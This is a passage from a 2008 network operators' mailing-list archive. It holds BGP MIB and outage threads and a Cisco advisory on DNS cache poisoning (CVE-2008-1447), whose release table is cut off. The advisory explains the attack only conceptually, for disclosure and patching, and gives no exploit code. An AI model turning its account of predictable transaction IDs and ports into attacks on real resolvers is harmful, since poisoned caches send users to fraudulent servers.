file. Best wishes, -Jim P. From jhaas at pfrc.org Sun Jul 6 20:57:15 2008 From: jhaas at pfrc.org (Jeffrey Haas) Date: Sun, 6 Jul 2008 21:57:15 -0400 Subject: [Idr] Configuration objects in BGP MIB v2: Call for consenus Message-ID: <20080707015715.GA10436@slice> Please pardon this intrusion in the usual operational chatter. I have been working on the successor to the BGP MIB within IETF over the last several years. As part of a review of the current draft of this MIB (http://tools.ietf.org/html/draft-ietf-idr-bgp4-mibv2-07) I have been requested to gather operational consensus regarding being able to configure your BGP peering sessions from within the MIB. Please see the forward below for the details. The BGP MIBv2 is attempting to address some operational holes with regards to the current BGP MIB. These issues include IPv6 support and also better counters for your peering session. In addition to feedback on the configuration objects issue I'd appreciate general feedback on the MIB on or off the list. My goal is to resolve all remaining open issues with the MIB within the next few months and get it into working group last call. A reference implementation in Quagga will likely follow. -- Jeff ----- Forwarded message from Jeffrey Haas ----- Date: Sun, 6 Jul 2008 21:50:00 -0400 From: Jeffrey Haas To: idr at ietf.org Subject: [Idr] Configuration objects in BGP MIB v2: Call for consenus Working Group, Back around 2005 I had a number of discussions with people who had provided input for the BGP MIBv2 work. These conversations were specifically regarding the configuration objects in the MIB. draft-ietf-idr-bgp4-mibv2-05 was the last version of the MIB that contained the proposed configuration objects. The results of those discussions were effectively that the configuration mechanisms in that MIB were too complex and had some potential issues. In particular: - Modern BGP implementations tend to be more complex than the feature set covered by the proposed MIBs. It was not possible to configure all session specific features from the MIB. Since the base MIB is not intended to cover all possible current and future features this is problematic. - Configuration of peering sessions are not sufficient to fully implement BGP in an operational network. BGP fundamentally requires policy for the population of the Ribs. Policy elements and algebra vary considerably among vendors. Providing a general policy engine for BGP in the MIB is likely out of scope of this work. Presume that the structural issues from draft-05 may be addressed. Should they be addressable, do we wish to pursue including configuration objects in the BGP MIB? Given the operational impact of this issue, I would appreciate it if this call for consensus was distributed within and without IETF. I will be forwarding this to NANOG as a first step. -- Jeff From markjr at easydns.com Mon Jul 7 11:22:30 2008 From: markjr at easydns.com (Mark Jeftovic) Date: Mon, 07 Jul 2008 12:22:30 -0400 Subject: Connectivity and local loop in Panama anybody? Message-ID: <487242C6.3090701@easydns.com> I am looking for internet connectivity including local loop infrastructure for a 120 acre real estate development in Panama with line-of-sight to the Volcan Baru towers. If anybody is interested in knowing more or in a position to help please contact me off list. Thanks. -mark -- Mark Jeftovic Founder / President, easyDNS Technologies Inc. Company Website: http://www.easyDNS.com I ramble pointlessly from my blog: http://www.PrivateWorld.com From kraig.beahn at gmail.com Mon Jul 7 19:45:14 2008 From: kraig.beahn at gmail.com (Kraig Beahn) Date: Mon, 7 Jul 2008 20:45:14 -0400 Subject: Sprint Core Router Powered Down in Orlando, Fl? Message-ID: Was curious if any other SP's were affected by an issue starting this afternoon and lasting about 10 minutes whereas a Sprint technician accidentally bumped the DC distribution panel feeding their core Switching and Routing platform in Orlando, FL? One of our customer's transit pipe's as well as their core MPLS network were affected nationwide (due to the position of their datacenter physically). Of more interest does anyone know what the 'official' Sprint internal maintenance window policies are? Trying to hunt down some definitive answers for the powers that be... Thanks, Kraig Packets Pings Host Loss% Snt Last Avg Best Wrst StDev 1. tengige-atl-gi1.l2ix.com 0.0% 15 0.2 0.2 0.2 0.3 0.0 2. fa0-15.na01.b000173-0.atl01.atlas.cog 0.0% 15 0.7 0.8 0.6 1.2 0.2 3. gi2-0.3801.core01.atl01.atlas.cogentc 0.0% 15 0.6 14.8 0.4 133.2 38.8 4. po4-0.core01.dca01.atlas.cogentco.com 0.0% 15 12.7 12.9 12.7 13.5 0.2 5. te3-1.ccr02.dca01.atlas.cogentco.com 0.0% 15 12.8 13.0 12.8 13.2 0.1 6. te4-3.mpd01.dca02.atlas.cogentco.com 6.7% 15 13.8 13.8 13.5 15.2 0.5 7. te3-2.ccr02.iad01.atlas.cogentco.com 0.0% 15 13.8 13.9 13.6 15.7 0.5 8. gi2-0-0.core01.iad01.atlas.cogentco.c 0.0% 15 13.6 13.5 13.4 13.6 0.1 9. sprint.iad01.atlas.cogentco.com 0.0% 15 13.8 13.8 13.7 13.9 0.1 10. sl-bb21-dc-8-0-0.sprintlink.net 0.0% 15 14.7 14.8 14.6 14.9 0.1 11. sl-crs2-dc-0-4-0-0.sprintlink.net 0.0% 15 15.4 15.2 14.9 15.9 0.3 12. sl-crs2-ffx-0-4-0-0.sprintlink.net 0.0% 15 26.0 26.1 25.9 26.5 0.2 13. 144.232.19.249 0.0% 15 33.5 33.7 33.5 34.1 0.2 *14. sl-gw15-orl-14-0.sprintlink.net 14.3% 15 244.5 245.3 244.4 247.1 0.9* 15. sl-bb20-orl-14-3.sprintlink.net 7.1% 15 250.3 250.3 244.5 304.7 16.4 16. sl-gw12-orl-8-0.sprintlink.net 7.1% 15 244.2 244.9 244.2 246.4 0.7 17. sl-wbko-3-0.sprintlink.net 7.1% 14 253.9 254.2 253.7 256.4 0.8 18. fwgw-gig-sl3-pos2.gray.tv 0.0% 14 255.6 254.7 253.7 255.6 0.7 From surfer at mauigateway.com Mon Jul 7 20:07:22 2008 From: surfer at mauigateway.com (Scott Weeks) Date: Mon, 7 Jul 2008 18:07:22 -0700 Subject: Sprint Core Router Powered Down in Orlando, Fl? Message-ID: <20080707180722.BD63261B@resin18.mta.everyone.net> --- kraig.beahn at gmail.com wrote: From: "Kraig Beahn" Of more interest does anyone know what the 'official' Sprint internal maintenance window policies are? Trying to hunt down some definitive answers for the powers that be... ------------------------------------------- Here's their public info: https://www.sprint.net/index.php?p=support_maint_window https://www.sprint.net/maint_view.php scott From bortzmeyer at nic.fr Tue Jul 8 02:56:22 2008 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Tue, 8 Jul 2008 09:56:22 +0200 Subject: updating & checking DNS zone files In-Reply-To: References: <20080705210727.GN12413@subspacefield.org> Message-ID: <20080708075622.GA1035@nic.fr> On Sat, Jul 05, 2008 at 05:45:26PM -0700, Paul Bertain wrote a message of 41 lines which said: > For incrementing your zone's serial number, I usually include zsu Do you work for the Russian army , which seems to win the Google race for "ZSU" or is it ? From psirt at cisco.com Tue Jul 8 13:36:40 2008 From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team) Date: Tue, 8 Jul 2008 14:36:40 -0400 Subject: Cisco Security Advisory: Multiple Cisco Products Vulnerable to DNS Cache Poisoning Attacks Message-ID: <200807081436.dns@psirt.cisco.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Multiple Cisco Products Vulnerable to DNS Cache Poisoning Attacks Advisory ID: cisco-sa-20080708-dns http://www.cisco.com/warp/public/707/cisco-sa-20080708-dns.shtml Revision 1.0 For Public Release 2008 July 08 1800 UTC (GMT) Summary ======= Multiple Cisco products are vulnerable to DNS cache poisoning attacks due to their use of insufficiently randomized DNS transaction IDs and UDP source ports in the DNS queries that they produce, which may allow an attacker to more easily forge DNS answers that can poison DNS caches. To exploit this vulnerability an attacker must be able to cause a vulnerable DNS server to perform recursive DNS queries. Therefore, DNS servers that are only authoritative, or servers where recursion is not allowed, are not affected. Cisco has released free software updates that address this vulnerability. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20080708-dns.shtml. This security advisory is being published simultaneously with announcements from other affected organizations. Affected Products ================= Products that cache DNS responses and process DNS messages with the recursion desired (RD) flag set may be vulnerable to a DNS cache poisoning attack depending on implementation of the DNS protocol. Products that process DNS messages with the RD flag set will attempt to answer the question asked on behalf of the client. A product is only affected if using a vulnerable implementation of the DNS protocol, the DNS server functionality for the product is enabled, and the DNS feature for the product is configured to process recursive DNS query messages. Vulnerable Products +------------------ The following Cisco products are capable of acting as DNS servers and have been found to have the DNS implementation weakness that makes some types of DNS cache poisoning attacks more likely to succeed: * Cisco IOS Software A device that is running Cisco IOS Software will be affected if it is running a vulnerable version and if it is acting as a DNS server. All Cisco IOS Software releases that support the DNS server functionality and that have not had their DNS implementation improved are affected. For information about specific fixed versions, please refer to the Software Versions and Fixes section. A device that is running Cisco IOS Software is configured to act as a DNS server if the command "ip dns server" is present in the configuration. This command is not enabled by default. * Cisco Network Registrar All Cisco Network Registrar versions are affected, and DNS services are enabled by default. The DNS server on CNR is enabled via the command-line interface (CLI) commands "server dns enable start-on-reboot" or "dns enable start-on-reboot" or via the web management interface in the Servers page by selecting the appropriate "Start," "Stop," or "Reload" button. * Cisco Application and Content Networking System All Cisco Application and Content Networking System (ACNS) versions are affected; DNS services are disabled by default. ACNS is configured to act as a DNS server if the command "dns enable" is present in the configuration. * Cisco Global Site Selector Used in Combination with Cisco Network Registrar The Cisco Global Site Selector (GSS) is affected when it is used in combination with Cisco Network Registrar software to provide a more complete DNS solution. Fixed software would come in the form of an update of the Cisco Network Registrar software rather than an update of the GSS software. Products Confirmed Not Vulnerable +-------------------------------- Products that do not offer DNS server capabilities are not affected by this vulnerability. The Cisco GSS by itself is not affected by this vulnerability. However, it is affected when it is used with Cisco Network Registrar software. No other Cisco products are currently known to be affected by these vulnerabilities. Details ======= The Domain Name System is an integral part of networks that are based on TCP/IP such as the Internet. Simply stated, the Domain Name System is a hierarchical database that contains mappings of hostnames and IP addresses. The DNS protocol is part of the TCP/IP protocol suite and allows DNS clients to query the DNS database to resolve hostnames to IP addresses. A DNS server is an application that implements the DNS protocol and that has the ability to respond to queries made by DNS clients. When handling a query from a DNS client, a DNS server can look into its portion of the global DNS database (if the query is for a portion of the DNS database for which the DNS server is authoritative), or it can relay the query to other DNS servers (if it is configured to do so and if the query is for a portion of the DNS database for which the DNS server is not authoritative.) Because of the processing time and bandwidth that is associated with handling a DNS query, most DNS servers locally store responses that are received from other DNS servers. The area where these responses are stored locally is called a "cache." Once a response is stored in a cache, the DNS server can use the locally stored response for a certain time (called the "time to live") before having to query DNS servers again to refresh the local (cached) copy of the response. A DNS cache poisoning attack is an attack in which an entry in the DNS cache of a DNS server is changed so the IP address associated with a hostname in the cache does not point to the correct place. For example, if www.example.com is mapped to the IP address 192.168.0.1 and this mapping is present in the cache of a DNS server, an attacker who succeeds in poisoning the DNS cache of this server may be able to map www.example.com to 10.0.0.1 instead. If this happens, a user who is trying to visit www.example.com may end up contacting the wrong web server. Although DNS cache poisoning attacks are not new, a security researcher recently presented a technique that allows an attacker to mount successful DNS cache poisoning attacks with low complexity tools and low traffic requirements. This technique exploits a weakness in most implementations of the DNS protocol. The fundamental implementation weakness is that the DNS transaction ID and source port number used to validate DNS responses are not sufficiently randomized and can easily be predicted, which allows an attacker to create forged responses to DNS queries that will match the expected values. The DNS server will consider such responses to be valid. The following Cisco products that offer DNS server functionality have been found to be susceptible to DNS cache poisoning attacks: * Cisco IOS Software: The vulnerability documented in Cisco bug ID CSCso81854. * Cisco Network Registrar: The vulnerability documented in Cisco bug ID CSCsq01298. * Cisco Application and Content Networking System (ACNS): The vulnerability documented in Cisco bug ID CSCsq21930. This vulnerability has been assigned Common Vulnerabilities and Exposures (CVE) ID CVE-2008-1447. Vulnerability Scoring Details +---------------------------- Cisco has provided scores for the vulnerabilities in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at http://intellishield.cisco.com/security/alertmanager/cvss Cisco Bugs: * DNS cache prone to poisoning/forged answers attacks (CSCsq21930) * DNS susceptible to forged query response attacks (CSCsq01298) * Need to make DNS implementation more resilient against forged answers (CSCso81854) CVSS Base Score - 6.4 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - None Integrity Impact - Partial Availability Impact - Partial CVSS Temporal Score - 5.3 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed (same score for the three Cisco bugs listed above.) Impact ====== Successful exploitation of the vulnerability described in this document may result in invalid hostname-to-IP address mappings in the cache of an affected DNS server. This may lead users of this DNS server to contact the wrong provider of network services. The ultimate impact varies greatly, ranging from a simple denial of service (for example, making www.example.com resolve to 127.0.0.1) to phishing and financial fraud. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Cisco IOS Software +----------------- Each row of the Cisco IOS Software table (below) names a Cisco IOS Software release train. If a given release train is vulnerable, then the earliest possible releases that contain the fix (along with the anticipated date of availability for each, if applicable) are listed in the "First Fixed Release" column of the table. The "Recommended Release" column indicates the releases which have fixes for all the published vulnerabilities at the time of this Advisory. A device running a release in the given train that is earlier than the release in a specific column (less than the First Fixed Release) is known to be vulnerable. Cisco recommends upgrading to a release equal to or later than the release in the "Recommended Releases" column of the table. +----------------------------------------+ | Major | Availability of | | Release | Repaired Releases | |------------+---------------------------| | Affected | First Fixed | Recommended | | 12.0-Based | Release | Release | | Releases | | | |------------+-------------+-------------| | 12.0 | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0DA | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.0(7)DB | | | | are | | | | vulnerable, | 12.4(19a) | | 12.0DB | release | | | | 12.0(7)DB | 12.4(19b) | | | and later | | | | are not | | | | vulnerable; | | | | first fixed | | | | in 12.4 | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.0(7)DC | | | | are | | | | vulnerable, | 12.4(19a) | | 12.0DC | release | | | | 12.0(7)DC | 12.4(19b) | | | and later | | | | are not | | | | vulnerable; | | | | first fixed | | | | in 12.4 | | |------------+-------------+-------------| | 12.0S | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0SC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0SL | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0SP | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0ST | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0SX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0SY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0SZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.0T | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.0W | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0WC | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | 12.0WT | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XD | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Note: | | | | Releases | | | | prior to | | | | 12.0(7)XE1 | | | | are | | | 12.0XE | vulnerable, | | | | release | | | | 12.0(7)XE1 | | | | and later | | | | are not | | | | vulnerable; | | |------------+-------------+-------------| | 12.0XF | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XG | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XH | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XI | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XJ | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.0(7)XK2 | | | | are | | | | vulnerable, | 12.4(19a) | | 12.0XK | release | | | | 12.0(7)XK2 | 12.4(19b) | | | and later | | | | are not | | | | vulnerable; | | | | first fixed | | | | in 12.4 | | |------------+-------------+-------------| | 12.0XL | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XM | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XN | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XQ | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.0(7)XR1 | | | | are | | | | vulnerable, | 12.4(19a) | | 12.0XR | release | | | | 12.0(7)XR1 | 12.4(19b) | | | and later | | | | are not | | | | vulnerable; | | | | first fixed | | | | in 12.4 | | |------------+-------------+-------------| | 12.0XS | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XV | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.0XW | Not | | | | Vulnerable | | |------------+-------------+-------------| | Affected | First Fixed | Recommended | | 12.1-Based | Release | Release | | Releases | | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.1 | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.1AA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1AX | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.1(22)AY1 | | | | are | | | 12.1AY | vulnerable, | 12.1(22) | | | release | EA11 | | | 12.1(22)AY1 | | | | and later | | | | are not | | | | vulnerable; | | |------------+-------------+-------------| | 12.1AZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1CX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1DA | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.1(4)DB1 | | | | are | | | | vulnerable, | 12.4(19a) | | 12.1DB | release | | | | 12.1(4)DB1 | 12.4(19b) | | | and later | | | | are not | | | | vulnerable; | | | | first fixed | | | | in 12.4 | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.1(4)DC2 | | | | are | | | | vulnerable, | 12.4(19a) | | 12.1DC | release | | | | 12.1(4)DC2 | 12.4(19b) | | | and later | | | | are not | | | | vulnerable; | | | | first fixed | | | | in 12.4 | | |------------+-------------+-------------| | 12.1E | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.1(11)EA1 | | | | are | | | 12.1EA | vulnerable, | 12.1(22) | | | release | EA11 | | | 12.1(11)EA1 | | | | and later | | | | are not | | | | vulnerable; | | |------------+-------------+-------------| | 12.1EB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1EC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1EO | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1EU | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1EV | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1EW | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Note: | | | | Releases | | | | prior to | | | | 12.1(8a)EX | | | | are | | | 12.1EX | vulnerable, | | | | release | | | | 12.1(8a)EX | | | | and later | | | | are not | | | | vulnerable; | | |------------+-------------+-------------| | 12.1EY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1EZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1GA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1GB | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.1T | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.1XA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XB | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.1(1)XC1 | | | | are | | | | vulnerable, | 12.4(19a) | | 12.1XC | release | | | | 12.1(1)XC1 | 12.4(19b) | | | and later | | | | are not | | | | vulnerable; | | | | first fixed | | | | in 12.4 | | |------------+-------------+-------------| | 12.1XD | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XE | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XF | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XG | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XH | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XI | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XJ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XK | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XL | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XM | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XN | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XO | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XP | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XQ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XR | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XS | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XT | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XU | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XV | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XW | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1XZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1YA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1YB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1YC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1YD | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Note: | | | | Releases | | | | prior to | | | | 12.1(5)YE1 | | | | are | 12.4(19a) | | 12.1YE | vulnerable, | | | | release | 12.4(19b) | | | 12.1(5)YE1 | | | | and later | | | | are not | | | | vulnerable; | | |------------+-------------+-------------| | 12.1YF | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1YG | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1YH | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1YI | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.1YJ | Not | | | | Vulnerable | | |------------+-------------+-------------| | Affected | First Fixed | Recommended | | 12.2-Based | Release | Release | | Releases | | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2 | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2B | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.2BC | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2BW | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.2(8)BY | | | | are | | | | vulnerable, | 12.4(19a) | | 12.2BY | release | | | | 12.2(8)BY | 12.4(19b) | | | and later | | | | are not | | | | vulnerable; | | | | first fixed | | | | in 12.4 | | |------------+-------------+-------------| | 12.2BZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2CX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2CY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2CZ | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | 12.2DA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2DD | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2DX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2EU | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2EW | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2EWA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2EX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2EY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2EZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2FX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2FY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2FZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2IXA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2IXB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2IXC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2IXD | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2IXE | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2IXF | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2JA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2JK | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2MB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2MC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2S | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SBC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SCA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SE | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SEA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SEB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SEC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SED | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SEE | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SEF | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SEG | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SG | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SGA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SL | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SM | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SO | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SRA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SRB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SRC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SU | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SV | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SVA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SVC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SVD | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SW | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SXA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SXB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SXD | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SXE | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SXF | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SXH | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SXI | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2SZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2T | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.2(8) | | | | TPC10d are | | | | vulnerable, | | | 12.2TPC | release | | | | 12.2(8) | | | | TPC10d and | | | | later are | | | | not | | | | vulnerable; | | |------------+-------------+-------------| | 12.2UZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XA | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2XB | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2XC | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.2XD | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XE | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XF | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2XG | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.2XH | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XI | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XJ | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2XK | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2XL | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.2XM | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XN | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XNA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XO | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XQ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XR | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XS | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2XT | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2XU | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.2XV | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2XW | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YD 